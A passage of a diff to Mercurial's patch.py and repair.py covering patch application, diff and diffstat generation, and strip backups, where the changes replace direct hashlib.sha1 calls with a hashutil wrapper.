                 i += 1
             if cmd & 0x04:
                 offset |= ord(binchunk[i : i + 1]) << 16
                 i += 1
             if cmd & 0x08:
                 offset |= ord(binchunk[i : i + 1]) << 24
                 i += 1
             if cmd & 0x10:
                 size = ord(binchunk[i : i + 1])
                 i += 1
             if cmd & 0x20:
                 size |= ord(binchunk[i : i + 1]) << 8
                 i += 1
             if cmd & 0x40:
                 size |= ord(binchunk[i : i + 1]) << 16
                 i += 1
             if size == 0:
                 size = 0x10000
             offset_end = offset + size
             out += data[offset:offset_end]
         elif cmd != 0:
             offset_end = i + cmd
             out += binchunk[i:offset_end]
             i += cmd
         else:
             raise PatchError(_(b'unexpected delta opcode 0'))
     return out
 
 
 def applydiff(ui, fp, backend, store, strip=1, prefix=b'', eolmode=b'strict'):
     """Reads a patch from fp and tries to apply it.
 
     Returns 0 for a clean patch, -1 if any rejects were found and 1 if
     there was any fuzz.
 
     If 'eolmode' is 'strict', the patch content and patched file are
     read in binary mode. Otherwise, line endings are ignored when
     patching then normalized according to 'eolmode'.
     """
     return _applydiff(
         ui,
         fp,
         patchfile,
         backend,
         store,
         strip=strip,
         prefix=prefix,
         eolmode=eolmode,
     )
 
 
 def _canonprefix(repo, prefix):
     if prefix:
         prefix = pathutil.canonpath(repo.root, repo.getcwd(), prefix)
         if prefix != b'':
             prefix += b'/'
     return prefix
 
 
 def _applydiff(
     ui, fp, patcher, backend, store, strip=1, prefix=b'', eolmode=b'strict'
 ):
     prefix = _canonprefix(backend.repo, prefix)
 
     def pstrip(p):
         return pathtransform(p, strip - 1, prefix)[1]
 
     rejects = 0
     err = 0
     current_file = None
 
     for state, values in iterhunks(fp):
         if state == b'hunk':
             if not current_file:
                 continue
             ret = current_file.apply(values)
             if ret > 0:
                 err = 1
         elif state == b'file':
             if current_file:
                 rejects += current_file.close()
                 current_file = None
             afile, bfile, first_hunk, gp = values
             if gp:
                 gp.path = pstrip(gp.path)
                 if gp.oldpath:
                     gp.oldpath = pstrip(gp.oldpath)
             else:
                 gp = makepatchmeta(
                     backend, afile, bfile, first_hunk, strip, prefix
                 )
             if gp.op == b'RENAME':
                 backend.unlink(gp.oldpath)
             if not first_hunk:
                 if gp.op == b'DELETE':
                     backend.unlink(gp.path)
                     continue
                 data, mode = None, None
                 if gp.op in (b'RENAME', b'COPY'):
                     data, mode = store.getfile(gp.oldpath)[:2]
                     if data is None:
                         # This means that the old path does not exist
                         raise PatchError(
                             _(b"source file '%s' does not exist") % gp.oldpath
                         )
                 if gp.mode:
                     mode = gp.mode
                     if gp.op == b'ADD':
                         # Added files without content have no hunk and
                         # must be created
                         data = b''
                 if data or mode:
                     if gp.op in (b'ADD', b'RENAME', b'COPY') and backend.exists(
                         gp.path
                     ):
                         raise PatchError(
                             _(
                                 b"cannot create %s: destination "
                                 b"already exists"
                             )
                             % gp.path
                         )
                     backend.setfile(gp.path, data, mode, gp.oldpath)
                 continue
             try:
                 current_file = patcher(ui, gp, backend, store, eolmode=eolmode)
             except PatchError as inst:
                 ui.warn(stringutil.forcebytestr(inst) + b'\n')
                 current_file = None
                 rejects += 1
                 continue
         elif state == b'git':
             for gp in values:
                 path = pstrip(gp.oldpath)
                 data, mode = backend.getfile(path)
                 if data is None:
                     # The error ignored here will trigger a getfile()
                     # error in a place more appropriate for error
                     # handling, and will not interrupt the patching
                     # process.
                     pass
                 else:
                     store.setfile(path, data, mode)
         else:
             raise error.Abort(_(b'unsupported parser state: %s') % state)
 
     if current_file:
         rejects += current_file.close()
 
     if rejects:
         return -1
     return err
 
 
 def _externalpatch(ui, repo, patcher, patchname, strip, files, similarity):
     """use <patcher> to apply <patchname> to the working directory.
     returns whether patch was applied with fuzz factor."""
 
     fuzz = False
     args = []
     cwd = repo.root
     if cwd:
         args.append(b'-d %s' % procutil.shellquote(cwd))
     cmd = b'%s %s -p%d < %s' % (
         patcher,
         b' '.join(args),
         strip,
         procutil.shellquote(patchname),
     )
     ui.debug(b'Using external patch tool: %s\n' % cmd)
     fp = procutil.popen(cmd, b'rb')
     try:
         for line in util.iterfile(fp):
             line = line.rstrip()
             ui.note(line + b'\n')
             if line.startswith(b'patching file '):
                 pf = util.parsepatchoutput(line)
                 printed_file = False
                 files.add(pf)
             elif line.find(b'with fuzz') >= 0:
                 fuzz = True
                 if not printed_file:
                     ui.warn(pf + b'\n')
                     printed_file = True
                 ui.warn(line + b'\n')
             elif line.find(b'saving rejects to file') >= 0:
                 ui.warn(line + b'\n')
             elif line.find(b'FAILED') >= 0:
                 if not printed_file:
                     ui.warn(pf + b'\n')
                     printed_file = True
                 ui.warn(line + b'\n')
     finally:
         if files:
             scmutil.marktouched(repo, files, similarity)
     code = fp.close()
     if code:
         raise PatchError(
             _(b"patch command failed: %s") % procutil.explainexit(code)
         )
     return fuzz
 
 
 def patchbackend(
     ui, backend, patchobj, strip, prefix, files=None, eolmode=b'strict'
 ):
     if files is None:
         files = set()
     if eolmode is None:
         eolmode = ui.config(b'patch', b'eol')
     if eolmode.lower() not in eolmodes:
         raise error.Abort(_(b'unsupported line endings type: %s') % eolmode)
     eolmode = eolmode.lower()
 
     store = filestore()
     try:
         fp = open(patchobj, b'rb')
     except TypeError:
         fp = patchobj
     try:
         ret = applydiff(
             ui, fp, backend, store, strip=strip, prefix=prefix, eolmode=eolmode
         )
     finally:
         if fp != patchobj:
             fp.close()
         files.update(backend.close())
         store.close()
     if ret < 0:
         raise PatchError(_(b'patch failed to apply'))
     return ret > 0
 
 
 def internalpatch(
     ui,
     repo,
     patchobj,
     strip,
     prefix=b'',
     files=None,
     eolmode=b'strict',
     similarity=0,
 ):
     """use builtin patch to apply <patchobj> to the working directory.
     returns whether patch was applied with fuzz factor."""
     backend = workingbackend(ui, repo, similarity)
     return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
 
 
 def patchrepo(
     ui, repo, ctx, store, patchobj, strip, prefix, files=None, eolmode=b'strict'
 ):
     backend = repobackend(ui, repo, ctx, store)
     return patchbackend(ui, backend, patchobj, strip, prefix, files, eolmode)
 
 
 def patch(
     ui,
     repo,
     patchname,
     strip=1,
     prefix=b'',
     files=None,
     eolmode=b'strict',
     similarity=0,
 ):
     """Apply <patchname> to the working directory.
 
     'eolmode' specifies how end of lines should be handled. It can be:
     - 'strict': inputs are read in binary mode, EOLs are preserved
     - 'crlf': EOLs are ignored when patching and reset to CRLF
     - 'lf': EOLs are ignored when patching and reset to LF
     - None: get it from user settings, default to 'strict'
     'eolmode' is ignored when using an external patcher program.
 
     Returns whether patch was applied with fuzz factor.
     """
     patcher = ui.config(b'ui', b'patch')
     if files is None:
         files = set()
     if patcher:
         return _externalpatch(
             ui, repo, patcher, patchname, strip, files, similarity
         )
     return internalpatch(
         ui, repo, patchname, strip, prefix, files, eolmode, similarity
     )
 
 
 def changedfiles(ui, repo, patchpath, strip=1, prefix=b''):
     backend = fsbackend(ui, repo.root)
     prefix = _canonprefix(repo, prefix)
     with open(patchpath, b'rb') as fp:
         changed = set()
         for state, values in iterhunks(fp):
             if state == b'file':
                 afile, bfile, first_hunk, gp = values
                 if gp:
                     gp.path = pathtransform(gp.path, strip - 1, prefix)[1]
                     if gp.oldpath:
                         gp.oldpath = pathtransform(
                             gp.oldpath, strip - 1, prefix
                         )[1]
                 else:
                     gp = makepatchmeta(
                         backend, afile, bfile, first_hunk, strip, prefix
                     )
                 changed.add(gp.path)
                 if gp.op == b'RENAME':
                     changed.add(gp.oldpath)
             elif state not in (b'hunk', b'git'):
                 raise error.Abort(_(b'unsupported parser state: %s') % state)
         return changed
 
 
 class GitDiffRequired(Exception):
     pass
 
 
 diffopts = diffutil.diffallopts
 diffallopts = diffutil.diffallopts
 difffeatureopts = diffutil.difffeatureopts
 
 
 def diff(
     repo,
     node1=None,
     node2=None,
     match=None,
     changes=None,
     opts=None,
     losedatafn=None,
     pathfn=None,
     copy=None,
     copysourcematch=None,
     hunksfilterfn=None,
 ):
     '''yields diff of changes to files between two nodes, or node and
     working directory.
 
     if node1 is None, use first dirstate parent instead.
     if node2 is None, compare node1 with working directory.
 
     losedatafn(**kwarg) is a callable run when opts.upgrade=True and
     every time some change cannot be represented with the current
     patch format. Return False to upgrade to git patch format, True to
     accept the loss or raise an exception to abort the diff. It is
     called with the name of current file being diffed as 'fn'. If set
     to None, patches will always be upgraded to git format when
     necessary.
 
     prefix is a filename prefix that is prepended to all filenames on
     display (used for subrepos).
 
     relroot, if not empty, must be normalized with a trailing /. Any match
     patterns that fall outside it will be ignored.
 
     copy, if not empty, should contain mappings {dst@y: src@x} of copy
     information.
 
     if copysourcematch is not None, then copy sources will be filtered by this
     matcher
 
     hunksfilterfn, if not None, should be a function taking a filectx and
     hunks generator that may yield filtered hunks.
     '''
     if not node1 and not node2:
         node1 = repo.dirstate.p1()
 
     ctx1 = repo[node1]
     ctx2 = repo[node2]
 
     for fctx1, fctx2, hdr, hunks in diffhunks(
         repo,
         ctx1=ctx1,
         ctx2=ctx2,
         match=match,
         changes=changes,
         opts=opts,
         losedatafn=losedatafn,
         pathfn=pathfn,
         copy=copy,
         copysourcematch=copysourcematch,
     ):
         if hunksfilterfn is not None:
             # If the file has been removed, fctx2 is None; but this should
             # not occur here since we catch removed files early in
             # logcmdutil.getlinerangerevs() for 'hg log -L'.
             assert (
                 fctx2 is not None
             ), b'fctx2 unexpectly None in diff hunks filtering'
             hunks = hunksfilterfn(fctx2, hunks)
         text = b''.join(sum((list(hlines) for hrange, hlines in hunks), []))
         if hdr and (text or len(hdr) > 1):
             yield b'\n'.join(hdr) + b'\n'
         if text:
             yield text
 
 
 def diffhunks(
     repo,
     ctx1,
     ctx2,
     match=None,
     changes=None,
     opts=None,
     losedatafn=None,
     pathfn=None,
     copy=None,
     copysourcematch=None,
 ):
     """Yield diff of changes to files in the form of (`header`, `hunks`) tuples
     where `header` is a list of diff headers and `hunks` is an iterable of
     (`hunkrange`, `hunklines`) tuples.
 
     See diff() for the meaning of parameters.
     """
 
     if opts is None:
         opts = mdiff.defaultopts
 
     def lrugetfilectx():
         cache = {}
         order = collections.deque()
 
         def getfilectx(f, ctx):
             fctx = ctx.filectx(f, filelog=cache.get(f))
             if f not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[f] = fctx.filelog()
             else:
                 order.remove(f)
             order.append(f)
             return fctx
 
         return getfilectx
 
     getfilectx = lrugetfilectx()
 
     if not changes:
         changes = ctx1.status(ctx2, match=match)
     if isinstance(changes, list):
         modified, added, removed = changes[:3]
     else:
         modified, added, removed = (
             changes.modified,
             changes.added,
             changes.removed,
         )
 
     if not modified and not added and not removed:
         return []
 
     if repo.ui.debugflag:
         hexfunc = hex
     else:
         hexfunc = short
     revs = [hexfunc(node) for node in [ctx1.node(), ctx2.node()] if node]
 
     if copy is None:
         copy = {}
         if opts.git or opts.upgrade:
             copy = copies.pathcopies(ctx1, ctx2, match=match)
 
     if copysourcematch:
         # filter out copies where source side isn't inside the matcher
         # (copies.pathcopies() already filtered out the destination)
         copy = {
             dst: src
             for dst, src in pycompat.iteritems(copy)
             if copysourcematch(src)
         }
 
     modifiedset = set(modified)
     addedset = set(added)
     removedset = set(removed)
     for f in modified:
         if f not in ctx1:
             # Fix up added, since merged-in additions appear as
             # modifications during merges
             modifiedset.remove(f)
             addedset.add(f)
     for f in removed:
         if f not in ctx1:
             # Merged-in additions that are then removed are reported as removed.
             # They are not in ctx1, so We don't want to show them in the diff.
             removedset.remove(f)
     modified = sorted(modifiedset)
     added = sorted(addedset)
     removed = sorted(removedset)
     for dst, src in list(copy.items()):
         if src not in ctx1:
             # Files merged in during a merge and then copied/renamed are
             # reported as copies. We want to show them in the diff as additions.
             del copy[dst]
 
     prefetchmatch = scmutil.matchfiles(
         repo, list(modifiedset | addedset | removedset)
     )
     scmutil.prefetchfiles(repo, [ctx1.rev(), ctx2.rev()], prefetchmatch)
 
     def difffn(opts, losedata):
         return trydiff(
             repo,
             revs,
             ctx1,
             ctx2,
             modified,
             added,
             removed,
             copy,
             getfilectx,
             opts,
             losedata,
             pathfn,
         )
 
     if opts.upgrade and not opts.git:
         try:
 
             def losedata(fn):
                 if not losedatafn or not losedatafn(fn=fn):
                     raise GitDiffRequired
 
             # Buffer the whole output until we are sure it can be generated
             return list(difffn(opts.copy(git=False), losedata))
         except GitDiffRequired:
             return difffn(opts.copy(git=True), None)
     else:
         return difffn(opts, None)
 
 
 def diffsinglehunk(hunklines):
     """yield tokens for a list of lines in a single hunk"""
     for line in hunklines:
         # chomp
         chompline = line.rstrip(b'\r\n')
         # highlight tabs and trailing whitespace
         stripline = chompline.rstrip()
         if line.startswith(b'-'):
             label = b'diff.deleted'
         elif line.startswith(b'+'):
             label = b'diff.inserted'
         else:
             raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
         for token in tabsplitter.findall(stripline):
             if token.startswith(b'\t'):
                 yield (token, b'diff.tab')
             else:
                 yield (token, label)
 
         if chompline != stripline:
             yield (chompline[len(stripline) :], b'diff.trailingwhitespace')
         if chompline != line:
             yield (line[len(chompline) :], b'')
 
 
 def diffsinglehunkinline(hunklines):
     """yield tokens for a list of lines in a single hunk, with inline colors"""
     # prepare deleted, and inserted content
     a = b''
     b = b''
     for line in hunklines:
         if line[0:1] == b'-':
             a += line[1:]
         elif line[0:1] == b'+':
             b += line[1:]
         else:
             raise error.ProgrammingError(b'unexpected hunk line: %s' % line)
     # fast path: if either side is empty, use diffsinglehunk
     if not a or not b:
         for t in diffsinglehunk(hunklines):
             yield t
         return
     # re-split the content into words
     al = wordsplitter.findall(a)
     bl = wordsplitter.findall(b)
     # re-arrange the words to lines since the diff algorithm is line-based
     aln = [s if s == b'\n' else s + b'\n' for s in al]
     bln = [s if s == b'\n' else s + b'\n' for s in bl]
     an = b''.join(aln)
     bn = b''.join(bln)
     # run the diff algorithm, prepare atokens and btokens
     atokens = []
     btokens = []
     blocks = mdiff.allblocks(an, bn, lines1=aln, lines2=bln)
     for (a1, a2, b1, b2), btype in blocks:
         changed = btype == b'!'
         for token in mdiff.splitnewlines(b''.join(al[a1:a2])):
             atokens.append((changed, token))
         for token in mdiff.splitnewlines(b''.join(bl[b1:b2])):
             btokens.append((changed, token))
 
     # yield deleted tokens, then inserted ones
     for prefix, label, tokens in [
         (b'-', b'diff.deleted', atokens),
         (b'+', b'diff.inserted', btokens),
     ]:
         nextisnewline = True
         for changed, token in tokens:
             if nextisnewline:
                 yield (prefix, label)
                 nextisnewline = False
             # special handling line end
             isendofline = token.endswith(b'\n')
             if isendofline:
                 chomp = token[:-1]  # chomp
                 if chomp.endswith(b'\r'):
                     chomp = chomp[:-1]
                 endofline = token[len(chomp) :]
                 token = chomp.rstrip()  # detect spaces at the end
                 endspaces = chomp[len(token) :]
             # scan tabs
             for maybetab in tabsplitter.findall(token):
                 if b'\t' == maybetab[0:1]:
                     currentlabel = b'diff.tab'
                 else:
                     if changed:
                         currentlabel = label + b'.changed'
                     else:
                         currentlabel = label + b'.unchanged'
                 yield (maybetab, currentlabel)
             if isendofline:
                 if endspaces:
                     yield (endspaces, b'diff.trailingwhitespace')
                 yield (endofline, b'')
                 nextisnewline = True
 
 
 def difflabel(func, *args, **kw):
     '''yields 2-tuples of (output, label) based on the output of func()'''
     if kw.get('opts') and kw['opts'].worddiff:
         dodiffhunk = diffsinglehunkinline
     else:
         dodiffhunk = diffsinglehunk
     headprefixes = [
         (b'diff', b'diff.diffline'),
         (b'copy', b'diff.extended'),
         (b'rename', b'diff.extended'),
         (b'old', b'diff.extended'),
         (b'new', b'diff.extended'),
         (b'deleted', b'diff.extended'),
         (b'index', b'diff.extended'),
         (b'similarity', b'diff.extended'),
         (b'---', b'diff.file_a'),
         (b'+++', b'diff.file_b'),
     ]
     textprefixes = [
         (b'@', b'diff.hunk'),
         # - and + are handled by diffsinglehunk
     ]
     head = False
 
     # buffers a hunk, i.e. adjacent "-", "+" lines without other changes.
     hunkbuffer = []
 
     def consumehunkbuffer():
         if hunkbuffer:
             for token in dodiffhunk(hunkbuffer):
                 yield token
             hunkbuffer[:] = []
 
     for chunk in func(*args, **kw):
         lines = chunk.split(b'\n')
         linecount = len(lines)
         for i, line in enumerate(lines):
             if head:
                 if line.startswith(b'@'):
                     head = False
             else:
                 if line and not line.startswith(
                     (b' ', b'+', b'-', b'@', b'\\')
                 ):
                     head = True
             diffline = False
             if not head and line and line.startswith((b'+', b'-')):
                 diffline = True
 
             prefixes = textprefixes
             if head:
                 prefixes = headprefixes
             if diffline:
                 # buffered
                 bufferedline = line
                 if i + 1 < linecount:
                     bufferedline += b"\n"
                 hunkbuffer.append(bufferedline)
             else:
                 # unbuffered
                 for token in consumehunkbuffer():
                     yield token
                 stripline = line.rstrip()
                 for prefix, label in prefixes:
                     if stripline.startswith(prefix):
                         yield (stripline, label)
                         if line != stripline:
                             yield (
                                 line[len(stripline) :],
                                 b'diff.trailingwhitespace',
                             )
                         break
                 else:
                     yield (line, b'')
                 if i + 1 < linecount:
                     yield (b'\n', b'')
         for token in consumehunkbuffer():
             yield token
 
 
 def diffui(*args, **kw):
     '''like diff(), but yields 2-tuples of (output, label) for ui.write()'''
     return difflabel(diff, *args, **kw)
 
 
 def _filepairs(modified, added, removed, copy, opts):
     '''generates tuples (f1, f2, copyop), where f1 is the name of the file
     before and f2 is the the name after. For added files, f1 will be None,
     and for removed files, f2 will be None. copyop may be set to None, 'copy'
     or 'rename' (the latter two only if opts.git is set).'''
     gone = set()
 
     copyto = dict([(v, k) for k, v in copy.items()])
 
     addedset, removedset = set(added), set(removed)
 
     for f in sorted(modified + added + removed):
         copyop = None
         f1, f2 = f, f
         if f in addedset:
             f1 = None
             if f in copy:
                 if opts.git:
                     f1 = copy[f]
                     if f1 in removedset and f1 not in gone:
                         copyop = b'rename'
                         gone.add(f1)
                     else:
                         copyop = b'copy'
         elif f in removedset:
             f2 = None
             if opts.git:
                 # have we already reported a copy above?
                 if (
                     f in copyto
                     and copyto[f] in addedset
                     and copy[copyto[f]] == f
                 ):
                     continue
         yield f1, f2, copyop
 
 
 def trydiff(
     repo,
     revs,
     ctx1,
     ctx2,
     modified,
     added,
     removed,
     copy,
     getfilectx,
     opts,
     losedatafn,
     pathfn,
 ):
     '''given input data, generate a diff and yield it in blocks
 
     If generating a diff would lose data like flags or binary data and
     losedatafn is not None, it will be called.
 
     pathfn is applied to every path in the diff output.
     '''
 
     def gitindex(text):
         if not text:
             text = b""
         l = len(text)
-        s = hashlib.sha1(b'blob %d\0' % l)
+        s = hashutil.sha1(b'blob %d\0' % l)
         s.update(text)
         return hex(s.digest())
 
     if opts.noprefix:
         aprefix = bprefix = b''
     else:
         aprefix = b'a/'
         bprefix = b'b/'
 
     def diffline(f, revs):
         revinfo = b' '.join([b"-r %s" % rev for rev in revs])
         return b'diff %s %s' % (revinfo, f)
 
     def isempty(fctx):
         return fctx is None or fctx.size() == 0
 
     date1 = dateutil.datestr(ctx1.date())
     date2 = dateutil.datestr(ctx2.date())
 
     gitmode = {b'l': b'120000', b'x': b'100755', b'': b'100644'}
 
     if not pathfn:
         pathfn = lambda f: f
 
     for f1, f2, copyop in _filepairs(modified, added, removed, copy, opts):
         content1 = None
         content2 = None
         fctx1 = None
         fctx2 = None
         flag1 = None
         flag2 = None
         if f1:
             fctx1 = getfilectx(f1, ctx1)
             if opts.git or losedatafn:
                 flag1 = ctx1.flags(f1)
         if f2:
             fctx2 = getfilectx(f2, ctx2)
             if opts.git or losedatafn:
                 flag2 = ctx2.flags(f2)
         # if binary is True, output "summary" or "base85", but not "text diff"
         if opts.text:
             binary = False
         else:
             binary = any(f.isbinary() for f in [fctx1, fctx2] if f is not None)
 
         if losedatafn and not opts.git:
             if (
                 binary
                 or
                 # copy/rename
                 f2 in copy
                 or
                 # empty file creation
                 (not f1 and isempty(fctx2))
                 or
                 # empty file deletion
                 (isempty(fctx1) and not f2)
                 or
                 # create with flags
                 (not f1 and flag2)
                 or
                 # change flags
                 (f1 and f2 and flag1 != flag2)
             ):
                 losedatafn(f2 or f1)
 
         path1 = pathfn(f1 or f2)
         path2 = pathfn(f2 or f1)
         header = []
         if opts.git:
             header.append(
                 b'diff --git %s%s %s%s' % (aprefix, path1, bprefix, path2)
             )
             if not f1:  # added
                 header.append(b'new file mode %s' % gitmode[flag2])
             elif not f2:  # removed
                 header.append(b'deleted file mode %s' % gitmode[flag1])
             else:  # modified/copied/renamed
                 mode1, mode2 = gitmode[flag1], gitmode[flag2]
                 if mode1 != mode2:
                     header.append(b'old mode %s' % mode1)
                     header.append(b'new mode %s' % mode2)
                 if copyop is not None:
                     if opts.showsimilarity:
                         sim = similar.score(ctx1[path1], ctx2[path2]) * 100
                         header.append(b'similarity index %d%%' % sim)
                     header.append(b'%s from %s' % (copyop, path1))
                     header.append(b'%s to %s' % (copyop, path2))
         elif revs:
             header.append(diffline(path1, revs))
 
         #  fctx.is  | diffopts                | what to   | is fctx.data()
         #  binary() | text nobinary git index | output?   | outputted?
         # ------------------------------------|----------------------------
         #  yes      | no   no       no  *     | summary   | no
         #  yes      | no   no       yes *     | base85    | yes
         #  yes      | no   yes      no  *     | summary   | no
         #  yes      | no   yes      yes 0     | summary   | no
         #  yes      | no   yes      yes >0    | summary   | semi [1]
         #  yes      | yes  *        *   *     | text diff | yes
         #  no       | *    *        *   *     | text diff | yes
         # [1]: hash(fctx.data()) is outputted. so fctx.data() cannot be faked
         if binary and (
             not opts.git or (opts.git and opts.nobinary and not opts.index)
         ):
             # fast path: no binary content will be displayed, content1 and
             # content2 are only used for equivalent test. cmp() could have a
             # fast path.
             if fctx1 is not None:
                 content1 = b'\0'
             if fctx2 is not None:
                 if fctx1 is not None and not fctx1.cmp(fctx2):
                     content2 = b'\0'  # not different
                 else:
                     content2 = b'\0\0'
         else:
             # normal path: load contents
             if fctx1 is not None:
                 content1 = fctx1.data()
             if fctx2 is not None:
                 content2 = fctx2.data()
 
         if binary and opts.git and not opts.nobinary:
             text = mdiff.b85diff(content1, content2)
             if text:
                 header.append(
                     b'index %s..%s' % (gitindex(content1), gitindex(content2))
                 )
             hunks = ((None, [text]),)
         else:
             if opts.git and opts.index > 0:
                 flag = flag1
                 if flag is None:
                     flag = flag2
                 header.append(
                     b'index %s..%s %s'
                     % (
                         gitindex(content1)[0 : opts.index],
                         gitindex(content2)[0 : opts.index],
                         gitmode[flag],
                     )
                 )
 
             uheaders, hunks = mdiff.unidiff(
                 content1,
                 date1,
                 content2,
                 date2,
                 path1,
                 path2,
                 binary=binary,
                 opts=opts,
             )
             header.extend(uheaders)
         yield fctx1, fctx2, header, hunks
 
 
 def diffstatsum(stats):
     maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
     for f, a, r, b in stats:
         maxfile = max(maxfile, encoding.colwidth(f))
         maxtotal = max(maxtotal, a + r)
         addtotal += a
         removetotal += r
         binary = binary or b
 
     return maxfile, maxtotal, addtotal, removetotal, binary
 
 
 def diffstatdata(lines):
     diffre = re.compile(br'^diff .*-r [a-z0-9]+\s(.*)$')
 
     results = []
     filename, adds, removes, isbinary = None, 0, 0, False
 
     def addresult():
         if filename:
             results.append((filename, adds, removes, isbinary))
 
     # inheader is used to track if a line is in the
     # header portion of the diff.  This helps properly account
     # for lines that start with '--' or '++'
     inheader = False
 
     for line in lines:
         if line.startswith(b'diff'):
             addresult()
             # starting a new file diff
             # set numbers to 0 and reset inheader
             inheader = True
             adds, removes, isbinary = 0, 0, False
             if line.startswith(b'diff --git a/'):
                 filename = gitre.search(line).group(2)
             elif line.startswith(b'diff -r'):
                 # format: "diff -r ... -r ... filename"
                 filename = diffre.search(line).group(1)
         elif line.startswith(b'@@'):
             inheader = False
         elif line.startswith(b'+') and not inheader:
             adds += 1
         elif line.startswith(b'-') and not inheader:
             removes += 1
         elif line.startswith(b'GIT binary patch') or line.startswith(
             b'Binary file'
         ):
             isbinary = True
         elif line.startswith(b'rename from'):
             filename = line[12:]
         elif line.startswith(b'rename to'):
             filename += b' => %s' % line[10:]
     addresult()
     return results
 
 
 def diffstat(lines, width=80):
     output = []
     stats = diffstatdata(lines)
     maxname, maxtotal, totaladds, totalremoves, hasbinary = diffstatsum(stats)
 
     countwidth = len(str(maxtotal))
     if hasbinary and countwidth < 3:
         countwidth = 3
     graphwidth = width - countwidth - maxname - 6
     if graphwidth < 10:
         graphwidth = 10
 
     def scale(i):
         if maxtotal <= graphwidth:
             return i
         # If diffstat runs out of room it doesn't print anything,
         # which isn't very useful, so always print at least one + or -
         # if there were at least some changes.
         return max(i * graphwidth // maxtotal, int(bool(i)))
 
     for filename, adds, removes, isbinary in stats:
         if isbinary:
             count = b'Bin'
         else:
             count = b'%d' % (adds + removes)
         pluses = b'+' * scale(adds)
         minuses = b'-' * scale(removes)
         output.append(
             b' %s%s |  %*s %s%s\n'
             % (
                 filename,
                 b' ' * (maxname - encoding.colwidth(filename)),
                 countwidth,
                 count,
                 pluses,
                 minuses,
             )
         )
 
     if stats:
         output.append(
             _(b' %d files changed, %d insertions(+), %d deletions(-)\n')
             % (len(stats), totaladds, totalremoves)
         )
 
     return b''.join(output)
 
 
 def diffstatui(*args, **kw):
     '''like diffstat(), but yields 2-tuples of (output, label) for
     ui.write()
     '''
 
     for line in diffstat(*args, **kw).splitlines():
         if line and line[-1] in b'+-':
             name, graph = line.rsplit(b' ', 1)
             yield (name + b' ', b'')
             m = re.search(br'\++', graph)
             if m:
                 yield (m.group(0), b'diffstat.inserted')
             m = re.search(br'-+', graph)
             if m:
                 yield (m.group(0), b'diffstat.deleted')
         else:
             yield (line, b'')
         yield (b'\n', b'')

mercurial/repair.py

@@ -1,537 +1,539
 # repair.py - functions for repository repair for mercurial
 #
 # Copyright 2005, 2006 Chris Mason <[e-mail]>
 # Copyright 2007 Matt Mackall
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
-import hashlib
 
 from .i18n import _
 from .node import (
     hex,
     short,
 )
 from . import (
     bundle2,
     changegroup,
     discovery,
     error,
     exchange,
     obsolete,
     obsutil,
     pathutil,
     phases,
     pycompat,
     util,
 )
-from .utils import stringutil
+from .utils import (
+    hashutil,
+    stringutil,
+)
 
 
 def backupbundle(
     repo, bases, heads, node, suffix, compress=True, obsolescence=True
 ):
     """create a bundle with the specified revisions as a backup"""
 
     backupdir = b"strip-backup"
     vfs = repo.vfs
     if not vfs.isdir(backupdir):
         vfs.mkdir(backupdir)
 
     # Include a hash of all the nodes in the filename for uniqueness
     allcommits = repo.set(b'%ln::%ln', bases, heads)
     allhashes = sorted(c.hex() for c in allcommits)
-    totalhash = hashlib.sha1(b''.join(allhashes)).digest()
+    totalhash = hashutil.sha1(b''.join(allhashes)).digest()
     name = b"%s/%s-%s-%s.hg" % (
         backupdir,
         short(node),
         hex(totalhash[:4]),
         suffix,
     )
 
     cgversion = changegroup.localversion(repo)
     comp = None
     if cgversion != b'01':
         bundletype = b"HG20"
         if compress:
             comp = b'BZ'
     elif compress:
         bundletype = b"HG10BZ"
     else:
         bundletype = b"HG10UN"
 
     outgoing = discovery.outgoing(repo, missingroots=bases, missingheads=heads)
     contentopts = {
         b'cg.version': cgversion,
         b'obsolescence': obsolescence,
         b'phases': True,
     }
     return bundle2.writenewbundle(
         repo.ui,
         repo,
         b'strip',
         name,
         bundletype,
         outgoing,
         contentopts,
         vfs,
         compression=comp,
     )
 
 
 def _collectfiles(repo, striprev):
     """find out the filelogs affected by the strip"""
     files = set()
 
     for x in pycompat.xrange(striprev, len(repo)):
         files.update(repo[x].files())
 
     return sorted(files)
 
 
 def _collectrevlog(revlog, striprev):
     _, brokenset = revlog.getstrippoint(striprev)
     return [revlog.linkrev(r) for r in brokenset]
 
 
 def _collectbrokencsets(repo, files, striprev):
     """return the changesets which will be broken by the truncation"""
     s = set()
 
     for revlog in manifestrevlogs(repo):
         s.update(_collectrevlog(revlog, striprev))
     for fname in files:
         s.update(_collectrevlog(repo.file(fname), striprev))
 
     return s
 
 
 def strip(ui, repo, nodelist, backup=True, topic=b'backup'):
     # This function requires the caller to lock the repo, but it operates
     # within a transaction of its own, and thus requires there to be no current
     # transaction when it is called.
     if repo.currenttransaction() is not None:
         raise error.ProgrammingError(b'cannot strip from inside a transaction')
 
     # Simple way to maintain backwards compatibility for this
     # argument.
     if backup in [b'none', b'strip']:
         backup = False
 
     repo = repo.unfiltered()
     repo.destroying()
     vfs = repo.vfs
     # load bookmark before changelog to avoid side effect from outdated
     # changelog (see repo._refreshchangelog)
     repo._bookmarks
     cl = repo.changelog
 
     # TODO handle undo of merge sets
     if isinstance(nodelist, bytes):
         nodelist = [nodelist]
     striplist = [cl.rev(node) for node in nodelist]
     striprev = min(striplist)
 
     files = _collectfiles(repo, striprev)
     saverevs = _collectbrokencsets(repo, files, striprev)
 
     # Some revisions with rev > striprev may not be descendants of striprev.
     # We have to find these revisions and put them in a bundle, so that
     # we can restore them after the truncations.
     # To create the bundle we use repo.changegroupsubset which requires
     # the list of heads and bases of the set of interesting revisions.
     # (head = revision in the set that has no descendant in the set;
     #  base = revision in the set that has no ancestor in the set)
     tostrip = set(striplist)
     saveheads = set(saverevs)
     for r in cl.revs(start=striprev + 1):
         if any(p in tostrip for p in cl.parentrevs(r)):
             tostrip.add(r)
 
         if r not in tostrip:
             saverevs.add(r)
             saveheads.difference_update(cl.parentrevs(r))
             saveheads.add(r)
     saveheads = [cl.node(r) for r in saveheads]
 
     # compute base nodes
     if saverevs:
         descendants = set(cl.descendants(saverevs))
         saverevs.difference_update(descendants)
     savebases = [cl.node(r) for r in saverevs]
     stripbases = [cl.node(r) for r in tostrip]
 
     stripobsidx = obsmarkers = ()
     if repo.ui.configbool(b'devel', b'strip-obsmarkers'):
